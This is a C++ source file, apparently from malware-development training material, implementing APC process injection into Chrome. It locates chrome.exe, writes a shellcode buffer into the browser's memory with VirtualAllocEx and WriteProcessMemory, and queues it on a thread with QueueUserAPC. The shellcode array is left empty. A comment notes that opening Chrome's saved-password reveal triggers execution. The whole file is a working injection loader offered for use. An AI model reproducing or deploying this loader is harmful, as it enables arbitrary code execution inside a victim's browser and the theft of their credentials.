AsyncCalls.cpp

#include <winternl.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")

// Shellcode
unsigned char payload[] = {};
unsigned int payload_len = sizeof(payload);

// http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/Executable%20Images/RtlCreateUserThread.html
typedef struct _CLIENT_ID {
	HANDLE UniqueProcess;
	HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

typedef LPVOID (WINAPI * VirtualAlloc_t)(
	LPVOID lpAddress,
	SIZE_T dwSize,
	DWORD  flAllocationType,
	DWORD  flProtect);
	
typedef VOID (WINAPI * RtlMoveMemory_t)(
	VOID UNALIGNED *Destination, 
	const VOID UNALIGNED *Source, 
	SIZE_T Length);

typedef FARPROC (WINAPI * RtlCreateUserThread_t)(
	IN HANDLE ProcessHandle,
	IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
	IN BOOLEAN CreateSuspended,
	IN ULONG StackZeroBits,
	IN OUT PULONG StackReserved,
	IN OUT PULONG StackCommit,
	IN PVOID StartAddress,
	IN PVOID StartParameter OPTIONAL,
	OUT PHANDLE ThreadHandle,
	OUT PCLIENT_ID ClientId);

typedef NTSTATUS (NTAPI * NtCreateThreadEx_t)(
	OUT PHANDLE hThread,
	IN ACCESS_MASK DesiredAccess,
	IN PVOID ObjectAttributes,
	IN HANDLE ProcessHandle,
	IN PVOID lpStartAddress,
	IN PVOID lpParameter,
	IN ULONG Flags,
	IN SIZE_T StackZeroBits,
	IN SIZE_T SizeOfStackCommit,
	IN SIZE_T SizeOfStackReserve,
	OUT PVOID lpBytesBuffer);

typedef struct _UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	_Field_size_bytes_part_(MaximumLength, Length) PWCH Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

// https://processhacker.sourceforge.io/doc/ntbasic_8h_source.html#l00186
typedef struct _OBJECT_ATTRIBUTES {
	ULONG Length;
	HANDLE RootDirectory;
	PUNICODE_STRING ObjectName;
	ULONG Attributes;
	PVOID SecurityDescriptor; // PSECURITY_DESCRIPTOR;
	PVOID SecurityQualityOfService; // PSECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

// https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-zwcreatesection
// https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html
typedef NTSTATUS (NTAPI * NtCreateSection_t)(
	OUT PHANDLE SectionHandle,
	IN ULONG DesiredAccess,
	IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
	IN PLARGE_INTEGER MaximumSize OPTIONAL,
	IN ULONG PageAttributess,
	IN ULONG SectionAttributes,
	IN HANDLE FileHandle OPTIONAL); 

// https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-zwmapviewofsection
// https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtMapViewOfSection.html
typedef NTSTATUS (NTAPI * NtMapViewOfSection_t)(
	HANDLE SectionHandle,
	HANDLE ProcessHandle,
	PVOID * BaseAddress,
	ULONG_PTR ZeroBits,
	SIZE_T CommitSize,
	PLARGE_INTEGER SectionOffset,
	PSIZE_T ViewSize,
	DWORD InheritDisposition,
	ULONG AllocationType,
	ULONG Win32Protect);
	
// http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FSECTION_INHERIT.html
typedef enum _SECTION_INHERIT {
	ViewShare = 1,
	ViewUnmap = 2
} SECTION_INHERIT, *PSECTION_INHERIT;	

int FindTarget(const char *procname) {

        HANDLE hProcSnap;
        PROCESSENTRY32 pe32;
        int pid = 0;
                
        hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
                
        pe32.dwSize = sizeof(PROCESSENTRY32); 
                
        if (!Process32First(hProcSnap, &pe32)) {
                CloseHandle(hProcSnap);
                return 0;
        }
                
        while (Process32Next(hProcSnap, &pe32)) {
                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
                        pid = pe32.th32ProcessID;
                        break;
                }
        }
                
        CloseHandle(hProcSnap);
                
        return pid;
}


HANDLE FindThread(int pid){

	HANDLE hThread = NULL;
	THREADENTRY32 thEntry;

	thEntry.dwSize = sizeof(thEntry);
    HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

	while (Thread32Next(Snap, &thEntry)) {
		if (thEntry.th32OwnerProcessID == pid) 	{
			hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, thEntry.th32ThreadID);
			break;
		}
	}
	CloseHandle(Snap);
	
	return hThread;
}


// APC injection
int InjectAPC(int pid, HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

	HANDLE hThread = NULL;
	LPVOID pRemoteCode = NULL;
	CONTEXT ctx;

	// find a thread in target process
	hThread = FindThread(pid);
	if (hThread == NULL) {
		printf("Error, hijack failed!.\n");
		return -1;
	}
	
	// perform payload injection
	pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
	WriteProcessMemory(hProc, pRemoteCode, (PVOID) payload, (SIZE_T) payload_len, (SIZE_T *) NULL);

	// execute the payload by adding async procedure call (APC) object to thread's APC queue
	QueueUserAPC((PAPCFUNC)pRemoteCode, hThread, NULL);
	
	return 0;
}


int main(void) {
    
	int pid = 0;
  HANDLE hProc = NULL;
	// You can put process in alertable state by going to view saved passwords and click reveal password which should trigger payload.
	pid = FindTarget("chrome.exe");

	if (pid) {
		printf("Chrome.exe PID = %d\n", pid);

		// try to open target process
		hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
						PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
						FALSE, (DWORD) pid);

		if (hProc != NULL) {
			InjectAPC(pid, hProc, payload, payload_len);
			CloseHandle(hProc);
		}
	}
	return 0;
}